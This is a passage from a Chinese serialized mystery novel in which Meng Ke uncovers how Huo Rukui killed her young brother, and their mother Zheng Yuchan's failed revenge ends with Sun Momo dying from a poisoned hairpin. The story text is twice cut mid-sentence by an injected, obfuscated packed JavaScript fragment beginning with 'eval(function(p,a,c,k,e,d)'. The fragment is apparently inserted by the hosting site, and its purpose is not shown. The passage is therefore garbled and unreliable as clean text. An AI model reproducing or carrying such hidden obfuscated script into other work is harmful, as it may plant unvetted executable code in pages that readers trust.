顿了好久，郑玉婵才又开口，“我想着，既如此，就让我替她争取些时日吧。若真要判我……大不了就替孩子扛了这劫吧。让她在外面，为自己，为霍家复仇，也为我复仇，总比被人就这么害了，憋屈到阎王爷面前的好。” 看她脸上的神色，终究是明白过来了，孟珂笑道：“哪怕明知她蓄谋毒杀你，还要做成是你自尽的样子，你不也替她担了罪责，缄口不言？” 郑玉婵还是苦笑。缄口不言是其一，也是因为她明白过来的那一瞬，便心如死灰，只觉得她要自己死，那就死吧。她其实早就不想活下去了，她甚至也不知道为什么自己还没死。她早就被现实打得体无完肤，又被女儿一再谋害，她不想再折腾，只想一了百了。 见郑玉婵果然没有隐瞒，孟珂这才拿出梁云钦给的账本，冲她一举：“这个东西，你还认得吧。” “这不是……”郑玉婵看了看，眼神又是惊恐，又是疑惑地看向孟珂，“这个东西怎会？” “怎么来的你就别管了，”孟珂道，“你就说说，这个账本上记的，到底是所谓的嫖资，还是赌资呢。” “你……怎会知道！”郑玉婵惊疑不定地看着她，知道这个账本的人就没几个，而今还活着的，更不可能有了。 孟珂将账本卷起，在手上拍了拍：“要不是这个东西，你和霍家案中的好多人早就死了。是谁给你出的主意？你霍家可没人想得出这四两拨千斤的法子。” 郑玉婵想了想，反正梁家已经没人了，说了也没什么，于是老实道：“是隔壁的梁大哥，梁均，梁大人。” 孟珂拿着账本的手微微颤了颤，果然如她所料。 那时候，几家大人常凑在一起打打小牌，也会有些小钱进出。只是为了一乐，并不认真地每场结算，而是记个账，到了一定时候才清算一回。 郑氏的娘家是小商户，她会算账，故而打牌的时候都是她在记。但她所认的字不多，也忙着打牌，图省事，并不写全名字，而是用她自己写的代号，甚至画个图案表示——而这正好就有了解释的空间。 出这主意的人，必然是参与或见过当时牌局的人，还要熟谙刑律，孟珂心中已经有数，但真正确认的时候，重新触及自己父亲的事，她还是有些意外的波动。 郑玉婵并未注意到她的波动，继续道：“蕙儿的事一出，我们夫妻一下没了主意，可事关全家脸面，也不敢往外说。谁知，我家夫君有一回同梁大人喝酒，喝多了把什么都说了。” 想起旧事，郑玉婵感慨道，“阴差阳错的，也得亏是这次喝多，让梁大人知晓此事。我们突然被抓，梁大哥设法来狱中看过我们一次，悄悄同我说，这个东西可以救我们一命，我就按他说的做了。” 孟珂强压下心中波澜，漫不经心地问：“梁家后来出事，你知道吧？” 郑玉婵点点头，脸上有些痛惜的神色。 孟珂嘴角噙着一抹冷笑，语气仍淡淡地：“你可知，这与你家的事有关，也是你女儿的手笔。” 郑玉婵惊愕地看向孟珂，见她转眸看向自己，眼神似乎漫不经心，却有种穿透脊梁的犀利，“不然，你猜她为何变成了梁家小姐？” 郑玉婵嗫嚅道：“我，我以为……” “你真的以为吗？”孟珂仰头笑了笑，“你家出了事，梁均刚好知道，刚好救了你们，他家还刚好出了事，而你女儿又刚好替了他女儿，接收了梁家的财产、名望、地位和姻亲……哪有那么多的刚好！不过都是有人的手在背后操纵罢了。” “我……这……我属实不知。”郑玉婵道，“我们……欠梁家的恩，欠梁家的命，欠梁家的实在太多，此生是怎么也还不清了，只有待来世做牛做马……” “谁稀罕你做牛马？”孟珂想也没想，斥道。 郑玉婵惊得望着她，不知她为何突然生气。 孟珂知道自己失了态，忙压了压，转而又道：“你可知，霍家案中被你女儿指认的那些嫌犯里，有不少是与楚琴心有过节的人。” 周冶从衙门户籍中查到了楚家原本住的地方，挨个查访邻居，发现竟有几家都在霍家案人犯中。 “楚琴心！”郑玉婵猛地抬起头来，“果然是她！蕙儿做下那些事，想必……” 碰到孟珂的眼神，她终究没说下去，羞惭地低下了头。 孟珂转身向外走道：“跟我走。” “去哪里？” 孟珂顿住了脚步，并未回头：“你不是想知道你儿子死的真相。” 郑玉婵忙起身，紧跟在她身后。 *** 孟珂径直去了大牢，走到一间空牢房旁，使了个眼色，一旁的侍女便将郑玉婵带了进去，示意她不要作声。孟珂则走到了隔壁停下。 孙九爷躺在地上，听见脚步声停下，转头瞄了一眼，又转回去了，不耐烦道：“还有完没完？” 狱卒来打开了牢门，孟珂弯腰走了进去：“你要是爽快点，很快就完。” 她对着孙九爷那固执的后背，毫不在意地说着道：“琴心告诉你，霍家抢了你们的女儿。开始几年，你们没有能力报复，心中愤懑也只能算了。这时候的你们想不到的是，琴心因为那场没出月子的折腾和生病，伤了元气，后来几次小产，始终没能再生下孩子。” “而这时候，霍茹蕙一天天长大。霍家甚至还又有了个儿子。你们看着那霍家儿女双全，愈加愤恨。于是，琴心想办法传出霍茹蕙并非霍家女儿的事，甚至还找到机会，同霍茹蕙说上了话，慢慢取得了她的信任。” “琴心借她在弟弟出生前后被冷落的处境，不再是唯一掌上明珠的气愤，挑拨离间，让霍茹蕙知道，家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“孙九爷，你是个无赖没错，你杀人无数也没错，可说起来，你也算是个汉子。那个叫苑儿的孩子落水的时候，是谁捞起来的？霍家仆人可没看到这个好心人，事后悬赏也始终没人去领。”孟珂看着他，笑道，“是你吧？” “也许，你一开始也信了琴心的话，以为霍茹蕙是你们的孩子。可等你看着她慢慢出落成个半大姑娘，心里就慢慢清楚了——她根本不是你们的孩子！只是琴心丧女的执念，不肯接受现实而已。” “而这时候，你们已经因为霍茹蕙，搭上了曾怀义这个靠山。你不想戳破琴心的幻想，也不舍得这份靠山，才权当‘认了个女儿’！” “你虽拗不过琴心，对那孩子出了手。可你知道霍家是无辜的，还于琴心，于那死去的孩子有恩，于是又将他救了起来。但琴心还是不死心，霍茹蕙也不肯放弃。她们终究还是把那孩子弄死了！” 孟珂看着孙九爷的脸，轻笑道，“看来，我都说对了！” 孙九爷瞥了她一眼，又倒在了地上，准备睡觉：“你爱在这胡言乱语就继续，我睡我的觉。” 孟珂并不理会，继续道，“那孩子被推下假山的时候，伺候的丫头婆子离得不远，并没有听到孩子喊叫，那便是他信任之人。这也可以再次证明，” 她瞟了隔壁一眼，慢慢地道，“推孩子的，不是琴心，而是他的姐姐——霍茹蕙！” 隔壁，郑玉婵应声跌坐在地。 听见隔壁突然传来一声凄厉得不似人声的惨叫，地上的孙九爷也被吓了个哆嗦。 郑玉婵吐出一口血来，红荔一掌将她劈晕过去。 孟珂却并未停下，她转眸又看向了孙九爷，目光凌厉：“明知琴心偏执，那个死去的孩子早就成了她的心魔，你却由着她这么报复霍家，唆使霍茹蕙，甚至犯下杀亲弟弟的罪，你也是帮凶！” 120. 梦魇 初夏的朝阳里，小姑娘在兰花丛里嬉笑着扑蝴蝶，身怀六甲的母亲在假山旁的水榭上坐着，笑盈盈地看了看女儿，又不自觉地低头抚了抚肚子，脸上透出满足的光芒。儿女双全，她此生便无惧，亦无憾了。 看着肚子一天天大起来，很多人都说，这胎必是儿子。夫家终于将有后，全家上下都喜气洋洋，她也更是小心。 只要这胎生下，谁也都不能再质疑说，孩子并非她所出了；也谁都不能再动摇她的地位。 身边的丫头劝道：“夫人，我扶您起来走走吧！大夫说了，您如今月份大了，胎像稳着呢，也得适当多走走，到时候才好生产呢。” “也好。”她含笑扶着肚子，看着脚下，让丫头扶着小心地站了起来。 “娘亲！” 身后传来女儿的声音。她慢慢地转身看去，见孩子兴奋地朝她跑了过来，就要跑到面前的时候，张开双臂，加速快跑了过来，眼看便要撞进怀中。郑玉婵忙伸手一拦，急道：“站住！站住！” 丫头也忙将身子拦在了夫人面前，一把捞住了小姑娘：“小姐！当心点！可万万冲撞不得！” 小姑娘从丫头怀抱的间隙望向母亲，见她后退了几步，手还挡在肚子前，一副对自己避之不及的样子。 她面色顿时黯了下去，委屈地道：“蕙儿就是想抱抱母亲。” 说着，目光放到了母亲全力护着的肚子上，一层阴翳染上了眉目，她幽幽地道，“母亲，他们说的都是真的。有了弟弟，你们就都不要我了。” 郑玉婵失笑：“你这孩子，瞎说什么呢！” “以后，家业都是弟弟的。”霍茹蕙抬头看着母亲，继续问道。 郑玉婵笑得更大声了：“家业自然是弟弟的。怎么，你还想继承家业不成？” 霍茹蕙呆呆地，口中喃喃道：“母亲是弟弟的，父亲也是弟弟的，这整个霍家都是弟弟的……我什么都没有了。” 但凡有新孩子降临，大人都爱拿这些话逗孩子，图个一乐，郑玉婵小时候也没少听，她好笑道：“谁又逗你了！” 霍茹蕙低头没言语，等再抬起脸来，又是笑靥如花，扭身就跑开，继续捉蝴蝶去了，仿佛刚才的一切都没发生过。 “这孩子！”郑玉蝉反倒一愣，跟丫头相互看了一眼，好笑道，手不自觉又抚上了那隆起的硕大一个肚子。 一转眼，孩子呱呱落地，果真是个儿子。霍家上下高兴得不行。府内府外的人，看她的眼神再也没了那种质疑。郑玉婵明显觉得自己腰都直了不少。 唯一就是，听说女儿的脾气最近坏了不少。她以前虽也骄纵任性，但总归是听话的，可如今表面更听话了，背地里却时时故意找事，折腾人。 她忙于新生的小儿子，没多少功夫管女儿，只能吩咐吩咐教养嬷嬷。渐渐地，她好像也就消停了。 蕙儿很喜欢这个弟弟，常带着他到处玩，姐弟俩感情日浓，谁都羡慕她儿女双全之乐。 眨眼几载春秋，炎夏的傍晚，她又坐在了水榭上纳凉。她浑身燥热，扇着扇子，听见已经能到处欢跑的苑儿在假山上“母亲、母亲”地叫。 她转头去看，见两个孩子在那儿高兴地跳着，冲她挥着手叫着，突地觉着，这辈子再也没有这么美满的时候。 她也挥了挥手，笑着大声喊道：“你们当心点！别摔——” 话没说完，就见蕙儿突地变了脸色。她诡异地笑着，直勾勾地盯着自己，随后抬起手来，伸向一旁浑然不觉、仍高兴蹦跳的弟弟。 “苑儿！” 郑玉婵吓得站了起来，对蕙儿拼命摇头道，“不要！蕙儿，不要！” *** “不要——蕙儿！” 郑玉婵尖叫一声，猛地睁开眼，才发现方才是一场梦。 她撑着榻，慢慢坐了起来，按着绞痛的心口，缓了半晌，慢慢地又无力地伏倒在了榻上，一下重似一下地捶起榻来，口中低低地哭喊起来：“苑儿——” 想起来了，她都想起来了。 蕙儿曾问她，“娘亲，我以后要被你们嫁出去，去别人家讨生活，看别人家眼色过日子，伺候别人一家子是吗？只有弟弟能留在家里，陪在你们左右？” 她笑答：“姑娘家自是要嫁人的。怎么，你现在就想嫁人的事了？羞也不羞？” 那时候，她只当是没意义的孩子话，全没往心里去。可如今回想起来，当即惊出一身冷汗。 周围人无心的“玩笑话”，不小心就落进了孩子心里。谁想还有琴心那般疯魔之人在背后挑唆。 蕙儿原来曾一次次向她试探，求证。可她那时全副精力都在身孕上，后来在小儿子身上，完全没能听出她话中真实的不满和不平，每每只笑笑就打发了。 那孟小姐说的没错。她一开始就宠蕙儿太过，将她捧得太高，让她容不得一点点忽视，更容不得有兄弟姐妹分去一点点重视，遑论那留在家坐享一切的儿子，衬出被嫁出去后“看人脸色”的女儿家日子……可哪个姑娘家不是这样过的？ 她不是没撞见过蕙儿在人后看弟弟的眼神，连她一个大人都觉得发毛，但她随即便拂去了，只觉得是自己多想了。 孟小姐说的没错，她那时若能跟孩子多说说话，没准儿就发现了。她若不是全副精力都在小儿子身上，女儿也不会觉得顿受冷落。 女儿说那些话的时候，她若能安一安她的心，若能制止周围人开那些说者无心听者有意的“玩笑话”，女儿也许就没那么容易受琴心挑唆。 “是我的错！”郑玉婵哭道，“蕙儿她看透了我这个母亲，知道我心里只想着自己，所以她也学着，只想她自己。” 郑玉婵猛地抬起一张泪脸，“都是我的错！我是罪人！我该死！我早就该死了！” 刘宝没进院子就听见了里面的哭喊，忙冲进去，正好撞见郑玉婵挂上房梁，当空挣扎晃荡，忙将她救了下来。 孟珂闻讯赶来，看着歪在榻上的她，冷冷道：“当初你没做好，现在又要躲？又只顾你自己爽快？” “我不是……”郑玉婵分辩道，“我只是想赎罪，是我害死了苑儿，是我害了他们姐弟！真正的凶手是我！该死的是我！” 孟珂越说越气，“你若真知道错了，真想赎罪，就该做你该做的事，尽你当初就该尽的责任！现在寻死，你就有脸去见儿子了？把你女儿丢给谁，又把这个烂摊子丢给谁？你女儿还在为害世人，你还不拦，还不管？” “事到如今，我哪里还能管？”郑玉婵哭道，“我的生死她都不在意，我的话她又怎么可能听进去。” “你知道该怎么做！”孟珂说完，转身出去了。 见她走了，刘宝转头好生劝道：“郑姨，我知道你不是坏人。事情变成今天这样，你也不想的。你当初帮琴心也是好心。是你的错，就去改，别想不开才是！” 郑玉婵看着他，扭头又哭了：“你这孩子，跟你爹一样善良。明知我是谁，还对我诸般照顾！我对不住你，对不住你一家！” 刘宝拍着她的背：“你若心中实在不安，我陪你去庙里吧，我爹娘的灵位都在庙里供着。我陪你去给他们，还有那些亡灵，都点点长明灯。出去走走，你也好散散心。” “我……我这样罪孽深重，”郑玉婵犹疑道，“他们愿意受我的香火吗？” 刘宝道：“你只是尽你自己的一份心，他们有什么怨恨，日后到了地下，由得阎王该审审、该判判便是。” “对，没错！”郑玉婵笑着点头，“该审审、该判判。我自己赎我的罪！” 说着，她便挣扎着要下榻。 刘宝忙拦住，往外看了一眼道：“天色已晚，今日就别去了。再说了，你今日忧思过度，还是好好歇上一夜，明日我陪你去。” 郑玉婵折腾了这一日，确实也累了，依言躺了下去。 *** 一觉起来，郑玉婵久违地把自己收拾得齐齐整整，虽头上只有那支从不离身的簪子，再没别的装饰之物，但镜中的自己又回到了过去的妍姿艳态，连病痛久缠的身子也重新轻了起来。 走出房门，见廊下开了一树的白花，她抬手摘了一朵簪上发髻，便从偏门出去了，一路走到了思园。 这园子她路过很多次，但每次都只瞄上一眼，从未敢上前。她深吸了一口气，上前叩响了大门。 许久，里面才传来不耐烦的一声，“谁啊？” 少夫人被休后仍居此处，虽说供应如常，但俨然成了冷宫，仆人们难免也惫懒了许多。郑玉婵那非叩开不可的执着之下，终于有人不耐烦地来开门，问了名姓，又得了她再三央告，才进去通报。 等门房将她请进去，满园白茫茫的晨雾，一路都没看到什么人。若非园子还算整洁，几乎要以为是没人住的空宅。等进了霍茹蕙住的院子，里面也空无一人，也不知是刻意屏退左右，还是原就这般清寂。 而霍茹蕙一身青衣，坐于堂上。孙嬷嬷，不，楚琴心便侍立在她身旁。 再次看见楚琴心，郑玉婵自己也惊诧，分明是当年的模样，自己怎 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她也没觉得痛，惊诧地抬眼去看郑玉婵，见她拔出刀来，举在手中，喘息着道：“若留你在人世，继续为祸人间，他日到了阎王殿，十殿阎罗都不会放过我们！” “郑姨！郑姨！” 一个遥远却又熟悉的声音不知从哪里传来，郑玉婵四处去看，却见院子里空空荡荡的，连琴心也不知哪里去了。方才还倒在地上的霍茹蕙也不见了。 “郑姨！” 声音在耳边清晰地响起，随即她的身子被人用力地摇了起来。郑玉婵骤然睁眼，发现刘宝带着丫头在床边，担心地看着她。 她抬起还在不自觉发抖的右手看着，刚才……竟是一场噩梦？！可手中握刀的感觉，甚至连利刃扎入胸膛的感觉如此真切！ “郑姨，”刘宝看她脸色苍白，发际还有被汗浸湿的痕迹，又轻轻摇了摇她道，“魇着了吧？我瞧你过了时辰还未醒，便来看你。丫头开门进来，见你魇着了，我们才忙把你叫醒。” 郑玉婵呆呆地“哦”了一声。 刘宝温声安慰道：“没事的，你起来洗漱，咱们这便去庙里。今日回来，夜里必定可以安睡。” 郑玉婵对他挤出个笑容，偷偷用左手紧紧握住颤抖的右手，可左手太过用力，全身也跟着簌簌发抖起来。她憋着气，努力控制身体的颤抖，才艰难地说出一句：“你出去等我一会儿，我收拾收拾，这就走。” 等刘宝出去了，她才终于倒上了一大口气。那利刃扎入胸膛的手感，在她手上挥之不去。那鲜血开出的殷红花朵，在她脑中一遍又一遍地开着。 一种黑暗而又隐秘的诱惑，在手上越来越强烈，快要控制不住。 她把那只始作俑的手，猛地摔在床沿上，痛得大叫一声。 “郑姨！”外面的刘宝听见那凄厉的一叫，敲着门担心地问道，“你没事吧？” “没事！”郑玉婵忙道，“不小心撞了一下。” 剧烈的疼痛将那种可怕的诱惑，暂时压退了下去。她忙起来，匆匆洗了把脸，收拾好，打开门出去。 *** 这日，霍茹蕙很晚都没起，孙嬷嬷去看了几次都没动静，等她终于起来了，却坐在床边捂着胸口。 孙嬷嬷奇怪地上前问：“这是怎么了，不舒服？” 霍茹蕙面色不好，声音也发虚：“做了个噩梦。” 她低头看着胸口，用力地按压着道，“梦到有人往这儿狠狠地捅了一刀，吓醒了，发现这里生疼。好半天都没睡成，临天亮才又眯了会儿，可这醒了还是觉得疼。” “这莫不是冤……” 孙嬷嬷话没说完，一道凌厉的目光就朝她射了过来。 霍茹蕙厉声道：“衙门还没说他死没死呢，你生怕人不知道是你害的？” 自从金阳城回来，她脾气就一日大似一日，孙嬷嬷也不想触霉头，只得少说几句。 过了半日，霍茹蕙还是觉得心口疼。孙嬷嬷小心翼翼地问：“要不去庙里烧烧香，驱驱邪，求个平安符也成？” 霍茹蕙不悦地看了她一眼，又摸了摸胸口，终究站起身来：“叫人去备车吧。” “梦里……”孙嬷嬷又小心地试探道，“可知道是什么人？” 不等她发火，忙又补充道，“在菩萨面前总要说清楚是什么，菩萨才好帮忙不是。” 霍茹蕙微微摇了摇头道：“就感觉，是个很熟悉的…..女人。” 121. 簪子 地藏殿内，郑玉婵跪在佛前，不时伏地跪拜，口中念念有词。 “这妇人疯了吧！”有人低声议论，“一直不停念，不停拜！这都几个时辰了！” “能不疯吗？知道那是谁吗？”旁边人神神秘秘地道，“就是如今闹得沸沸扬扬的霍家案里，那个霍家小姐的母亲！” 闻者皆惊：“她居然还活着！霍家人不是死绝了？” “不对！应该是牢里被毒死！怎么又活了！” “那霍家案，怎么没见她上公堂呢。” 有人啧道，“总归是母女！还能怎样？跟女儿对质不成？” “不是说……那小姐是抱养的？” 几人正说得热闹，其中一人疯狂眨起眼来。其他几人也灵醒，顺着那挤眉弄眼之人的目光看去，见一人走进院里来。 有认识的惊道：“梁夫人！” “什么梁夫人！已经被休了。那陈家发现她是冒牌的，不休了，等着干嘛呢？”说着看了大殿一眼，窃笑道，“当真是母女连心！这都能碰到，这下可有好戏看了！” 却说霍茹蕙远远地就见殿门口一群人在叽里咕噜，见了自己，那神色更怪异了。她刀也不以为奇，这些日子走到哪里都有这样的指指点点和挤眉弄眼。 等走到大殿门口，看见蒲团上跪着那个忙碌的身影，她才恍然。 郑玉婵果然还活着，霍茹蕙对此并不意外。可她这样在大庭广众之下现身，她倒没想到。 她往四周看了看，却没见什么人。若非自己是临时起意过来，她都要以为这是梁婉章给她设了什么陷阱呢。 郑玉婵似乎也感觉到了什么，疑惑地转过头来，瞳孔猛地一震——霍茹蕙当当正正地站在门口，穿件青衣，就跟梦中一样。 她只当自己是花了眼，忙闭上眼，又念了几句阿弥陀佛，再睁眼去看，人还站在那里。 她怔怔的，想站起来，可早已跪麻的双腿哪里站得住，直接往地上一歪。一旁的刘宝见状忙快步上前去扶。她杵着那跟木棍似的腿，摇摇晃晃地站起来，还险些没站住。 门内外的人都看着这霍家母女，交头接耳起来，“怎么说是抱养的呢？这梁夫人看着，倒有几分像那妇人。” “嗯，我看着也像！”“兴许故意找个像的？” 郑玉婵扫了周围人一眼，低声道：“待夫人拜完佛，可与老身一叙？” 霍茹蕙扫了旁人一眼，想了想，点点头。 “那老身出去等候。”郑玉婵道。 看刘宝扶着她，僵着腿，慢慢走了出去，霍茹蕙转头看着殿上的菩萨，苦笑了笑，心道，莫非真是神佛的指引安排？ 在一双双眼睛的关注之下，她不紧不慢地拜完，求了平安符，往寺门口走，就见刘宝等在神道旁。 等她走近，刘宝扫了她一眼，冷冷道：“随我来。” 随即转过身，领着她往一个偏僻的佛殿走去。 “我知道你。”霍茹蕙见这年轻面浅又刻意冷淡她的孩子，顿时生了些玩心。 她带着调侃的笑意，故意道，“现如今，绥陵城可就数你刘宝的名气大了，比那邀月楼的花魁都人尽皆知。” 刘宝脚下不停，也不搭腔。 霍茹蕙上下打量着这少年，尚未完全长成的背，劲瘦而纤薄，却负载着一份替父申冤的执念，却又还带着年轻的简单明净，有些怨恨却也不成气候。 她对着少年独有的气息，一时竟有些不合时宜的羡慕，滋味复杂地笑道，“看着平平无奇，命倒是大——比你那死鬼爹大多了。” 刘宝终于顿住了脚步，也没回头，没头没尾地问了句：“到底为什么？” 霍茹蕙却听懂了，却噗嗤笑了出来。 “为什么？”她轻佻地吊起眼睛，看着那稚拙少年道，“你自己不长眼，跑出来瞎搅合，撞到了我手里。我就成全你呗！让你成为曾家案子的嫌疑人，送你进大牢，下地狱去！” “我是说，你到底为什么要害我父亲？”他转过身来，看着霍茹蕙，额角有青筋暴起，两手暗暗拽成了拳头，“你们到底有什么仇什么怨？” “仇怨？”霍茹蕙笑出声来，顿了顿，才又道，“谁说要什么仇怨？非要说，就怪他倒霉咯！” “倒霉？！” 看着刘宝错愕的脸，仿佛无法理解这话的意思。霍茹蕙一副好心的样子道，“也是因为你，我才特意想了想，你父亲到底是谁。如果我没记错的话，他有一回上我家，那时候我还没你大呢。他看见我的时候，眼睛一亮，贼眉鼠眼地笑着，夸了我一句。” “夸你！”刘宝气得发抖，牙齿格格响道，“夸……夸了你一句，你就……” 他本以为，父亲同她也许有什么过节，也许有什么误会，谁想，竟是这！ 霍茹蕙眉毛一竖：“他是只夸了一句，可他没说出来的呢？谁知道他心里藏的什么龌龊心思？！” 刘宝已经气得说不上话来，指着她：“你……” “来了。”恰在此时，郑玉婵走了出来，见刘宝的样子，温声道，“你就在殿外等我吧。” 说完，看了霍茹蕙一眼，转身进殿。 *** 霍茹蕙瞄了一眼脸气得紫涨却说不出话的刘宝，眼神复杂，随即走了进去。 郑玉婵背对着她，抬眼看着面前的佛像，面上什么表情也没用，过了许久，才出声道：“你可知，我方才为何在地藏殿求告？” 霍茹蕙不耐烦地道：“不知，也不想知道。” 郑玉婵仍昂头看着菩萨那慈悲法相，眼中却是空的：“因地藏王菩萨发愿，地狱不空，誓不成佛。” 说着，转过身来看着她，认真道，“等你我下地狱的那一日，便也要菩萨来度化你我。” “你爱下自己下，”霍茹蕙冷笑一声，“别扯上我。” 郑玉婵低下了头，淡淡笑了笑，缓慢而深长地吸了一口气，又徐徐吐出，才平静地看着她道：“苑儿的死，是你所为。” 这不是在问她，是确定地知道。霍茹蕙有些意外，抬眸看了她一眼，不置可否道：“谁告诉你的？” “我不是来质问你的，”不知是不是看久了菩萨，郑玉婵看着霍茹蕙的脸上竟也带了些慈悲，“苑儿之死，我们都是罪人。” 霍茹蕙用不耐烦压住心底不自主的动乱道：“你叫我来，就是要说这些？” 说罢，转身便要走。 “对不起！”郑玉婵突地道。 只轻轻的一声，霍茹蕙的身子却不由一颤，僵在了原地。 郑玉婵朝她走了两步：“我叫你来，就是想亲口对你说声对不起。” “你做了很多错事，但是我做错在先。”她深深吸了一口气，“是我们先对不住你，是我们没有教好你，是我们……没好好爱你。” 霍茹蕙心中莫名的乱，蹙着眉，好笑道：“你说这些做什么？” 郑玉婵道：“有人告诉我，知错能改，善莫大焉。我知错了，也想改错。” 霍茹蕙回身看着她道：“你以为，犯下的错是想改就能改吗？” 郑玉婵垂下眼眸，摇了摇头，又抬眸看她：“我知道，我们都在错的路上走得太远了，早就……回不了头了。” 说着话锋一转，“但是，该做的事还是要做，该说的话，也还是要说的。” 二人说话的时候，刘宝和孙嬷嬷都站在门口，不放心地不时看向殿内。 只见郑玉婵盈盈笑着，走到霍茹蕙跟前，附耳上去说了什么，霍茹蕙的脸色陡然一变。 就这时， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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刘宝忙冲上去捡起匕首，躲到一旁去了：“郑姨，你有话好好说！” 孙嬷嬷爬起来就去拉霍茹蕙：“走！” 霍茹蕙转头看了一眼，那背靠莲座，疼得爬不起来的郑玉婵，脚步有些迟疑。 就是这一瞬，郑玉婵眼见她要走，不知从哪儿来了股力气，突然起身就猛地冲上前去。 霍茹蕙惊惶中，两手去抓孙嬷嬷，缩身往她身后一躲。 孙嬷嬷被她抓得甩到身后，感觉后面有人扑了上来，转头一看，正好看见什么东西直直地插入了自己胸口。 她缓缓地低头一看，见心口扎着一支簪子，正是霍茹蕙给郑玉婵送进牢里的那支，是她亲手淬过毒，还藏了毒的。 没想到，这毒簪最后竟扎在了自己身上。她没来得及笑出来，就软软地倒了下去。眼神中满是惊惶与疑惑，像是不敢相信，也无法理解眼前发生的这一切。 “杀……杀人啦！” 院子里，几个拜佛的走来就看到这一幕，惊叫着“杀人啦！”，拔腿往外冲去。 殿内几人都定住了一瞬。 好在，这一扎似乎也扎破了郑玉蝉的疯狂。她呆在了原地，一动不动，手上还保持着扎人的姿势。 霍茹蕙看看郑玉婵，又低头看了看孙嬷嬷，叫道：“来人！” 刘宝也反应了过来，上去抱住了郑玉婵，将呆怔在地的她往后拖去，又冲外面的人叫道：“快叫大夫！” 霍茹蕙这才稍稍放了心，跪扶在了孙嬷嬷身边，去捂她胸口的伤，见发黑的毒血已经汩汩冒出，搂着她喊了喊：“嬷嬷！你撑住啊！” 孙嬷嬷口中噗噗冒出几口血来，什么话都说不出来了，只能看着她，也不知是痛的，还是怎么的，发红的眼角很快便蓄了一汪泪。 “嬷嬷？你不要吓我！”霍茹蕙麻木地摇着她道。 这时，孙嬷嬷的目光突地就散了，睁着眼，再也不动了。 “嬷嬷！”霍茹蕙再一摇，她眼角汪着的泪，随即便摇落了下来。 殿门外已经聚集起了一堆人。霍茹蕙在其中看见了一张熟悉的面孔，眼神立刻变了，怨毒地盯向那人。 122. 心甜 佛殿门外围过来的人脸上，有惊惶，有兴奋，有八卦好奇，而那些面容中，有一双眼睛格外平静。 刘宝前一日便找孟珂说，想今日要带郑玉婵上寺庙烧香拜佛。孟珂想着，终究是自己此前逼迫她太过，给了太多难以承受的信息，让郑玉婵那向来脆弱的神经承受不住了，于是应了。 等听到盯着的人来报说，霍茹蕙也上了寺庙的消息，她忙赶了过来，可还是迟了。 刘宝将郑玉婵拖到了佛殿的角落里，生怕她再暴起，牢牢守着她，一眼都不敢离开。 霍茹蕙扶着孙嬷嬷看向她，眼中仿佛在控诉她，“一个个抢走我身边的人，你如愿了？你成功了，得意了？” 周围人有在议论，有在呼唤，还在不明就里围过来发现血案现场的失声惊叫，孟珂在这一片喧嚣中，却抬眸看向了他们身后的菩萨。 金刚怒目，眼中尽是慈悲。 菩萨低眉，满眼尽是无情。 地上的孙嬷嬷，正正地落在菩萨低眉的视线之中。 死在这佛殿之中，是无情，也是慈悲。她胸口扎着的那一支簪子，仿若血色浸染的土地上，长出的一棵树。就像她儿时家里院墙下的那棵。孙家老九常常爬在上面，“小琴、小琴”地叫着，冲她吹口哨送暗号的那棵。 大牢里，孙九爷从胸口掏出了一个纸包。 距孙嬷嬷来看他不过数日，却陡然苍老了好多，手上竟有了些老人的颤颤巍巍。他缓慢而又小心地打开那个纸包，却抖落出来一些碎屑，掉到了衣服上。 原来，里面包的是几块点心，正是小琴那日拿来看他的、他最喜欢的桂花糯米糕。 他忙小心地扒拉衣服，将糕屑接在手里，送进了嘴里。一边吃，一边含笑看着里面的东西，仿佛珍宝。 “桂花糕再甜，也没你亲手做的让我心里甜。还好我偷偷藏了些。”他掰了一块，放进嘴里。 糯米糕放久变硬了，掉下的细小碎屑，都让他小心地用纸包兜住了。 “我那天偷藏了这几块，本来是想带着，跟我下葬的，结果……却没死成。后来，怕你被他们抓，一时也没让你如愿。”他笑笑，“结果倒正好了！咱们黄泉路上也有个伴儿！” 他笑着呼唤道，“小琴！你走慢点儿，奈何桥头等等我，咱们一起过。” 他一边吃，一边絮絮叨叨地道，“你杀我，我不怪你。你骗我的那些事，我也不在乎。你傻，我就陪你傻。你把她看成亲女儿，我也把她当女儿。” 说着，他抬起头，畅想了起来，“下辈子，咱们都要生在一个好人家，还要做街坊，最好还是隔壁邻居，能天天在墙头树上看看你。等长大了，我就三媒六聘正式向你家提亲，风风风光光地把你娶进门，高高兴兴地生个……咱们自己的孩子，一家人和和美美……” 说着说着，他便倒了下去。手上的油纸脱了手，飘飘荡荡地旋了几圈，和纸里他没舍得吃完的碎屑一起，落在了孙九爷的身边。 *** 衙门，殓房门口。 仵作验完尸出来，霍茹蕙便迫不及待地走上前去，问道：“可以让我，一个人同她告别么？” 仵作见她抚着胸口，一脸惊吓过度，又纤弱又伤心的模样，点了点头：“夫人自便吧。” 霍茹蕙颔首致谢，抬步走了进去，转身便关上了殓房的门。 仵作在她身后不由叹了一声道：“这么柔弱的夫人，竟然也敢一个人关门在里面，可见对那嬷嬷情深意重。” 他没看到的是，随着殓房门徐徐关上，霍茹蕙的脸立刻就变了。 她冷硬而倨傲地看着那白布蒙着的人，径直走到窗口，转过身来，居高临下地看着躺在那儿的孙嬷嬷，身后的日光将她映成了一个黑色的剪影。 “临死那一刻，你满眼的不敢相信。你到底是不敢相信自己要死，还是不敢相信——我推你挡了刀？” 她慢慢踱步过去，掀开白布的一角，手指在殓床上划拉着，绕到身侧，歪头看着那青色的脸，嘴角一扯，讥笑道，“你都‘辛苦’大半辈子了，还没活够呢？就放下你心里那噼啪响的小算盘，好好歇着吧——反正你也早就打不动了！” 霍茹蕙轻笑一声道，“你说说你，不认字也不识数的，怎会打得那么一手好算盘？不过一个穷苦人家的小丫头片子，被卖进了高宅大院，就想着飞上枝头变凤凰了；想凭着你那二八佳人的好处，勾引老头子；想拿肚子里的孩子，当你求富贵的工具！” “就怪你没见识！那种人家最不缺的就是你这样的人。有心的人多了，要是都能上，那高门大户也得挤爆了！不遇上个活成人精的老太太，也会是其他人精夫人小姐，后宅女眷们谁没见过你这样的？” 